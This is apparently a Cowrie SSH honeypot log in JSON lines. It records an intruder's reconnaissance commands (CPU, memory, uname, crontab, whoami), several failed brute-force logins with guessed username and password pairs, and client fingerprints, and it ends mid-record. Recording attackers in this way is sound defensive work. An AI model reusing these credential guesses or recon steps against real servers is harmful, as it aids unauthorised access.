{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:57.311455Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:57.435417Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:57.720426Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:57.723791Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:57.846575Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:58.123637Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:58.127101Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:58.130370Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:58.254726Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:58.539365Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:58.542830Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:58.664534Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:58.945529Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:58.948986Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:59.072454Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:59.354298Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:59.357544Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:59.479567Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:59.757963Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:59.761246Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:59.885370Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:00.220819Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:00.224795Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:00.351116Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:00.638049Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:00.642636Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:00.766683Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:01.057122Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:01.061193Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:01.185685Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:01.508714Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:01.512717Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:01.639184Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:01.956978Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:01.961063Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:02.102790Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:02.486414Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:02.491002Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:02.631091Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.0","message":"Connection lost after 12.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:02.666912Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.96.151.198","src_port":51248,"dst_ip":"159.203.135.109","dst_port":22,"session":"3441bb5d10a8","protocol":"ssh","message":"New connection: 186.96.151.198:51248 (159.203.135.109:22) [session: 3441bb5d10a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:04.520742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:04.525653Z","src_ip":"186.96.151.198","session":"3441bb5d10a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:04.591559Z","src_ip":"186.96.151.198","session":"3441bb5d10a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passw0rd","message":"login attempt [admin/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:04.875114Z","src_ip":"186.96.151.198","session":"3441bb5d10a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:05.944104Z","src_ip":"186.96.151.198","session":"3441bb5d10a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":53274,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ee165ba44f8","protocol":"ssh","message":"New connection: 13.67.236.135:53274 (159.203.135.109:22) [session: 0ee165ba44f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:16.308404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:16.320854Z","src_ip":"13.67.236.135","session":"0ee165ba44f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:16.357606Z","src_ip":"13.67.236.135","session":"0ee165ba44f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sz123456789","message":"login attempt [root/Sz123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:16.533115Z","src_ip":"13.67.236.135","session":"0ee165ba44f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:17.572921Z","src_ip":"13.67.236.135","session":"0ee165ba44f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":60592,"dst_ip":"159.203.135.109","dst_port":22,"session":"93f4b1765c2a","protocol":"ssh","message":"New connection: 80.94.92.182:60592 (159.203.135.109:22) [session: 93f4b1765c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:25.752654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:25.831140Z","src_ip":"80.94.92.182","session":"93f4b1765c2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:25.920783Z","src_ip":"80.94.92.182","session":"93f4b1765c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"pa2ssw0rd","message":"login attempt [solana/pa2ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:26.557532Z","src_ip":"80.94.92.182","session":"93f4b1765c2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:27.791196Z","src_ip":"80.94.92.182","session":"93f4b1765c2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":36016,"dst_ip":"10.17.0.5","dst_port":22,"session":"77d2c5ad88a0","protocol":"ssh","message":"New connection: 43.157.90.107:36016 (10.17.0.5:22) [session: 77d2c5ad88a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:29.524962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:29.528966Z","src_ip":"43.157.90.107","session":"77d2c5ad88a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","e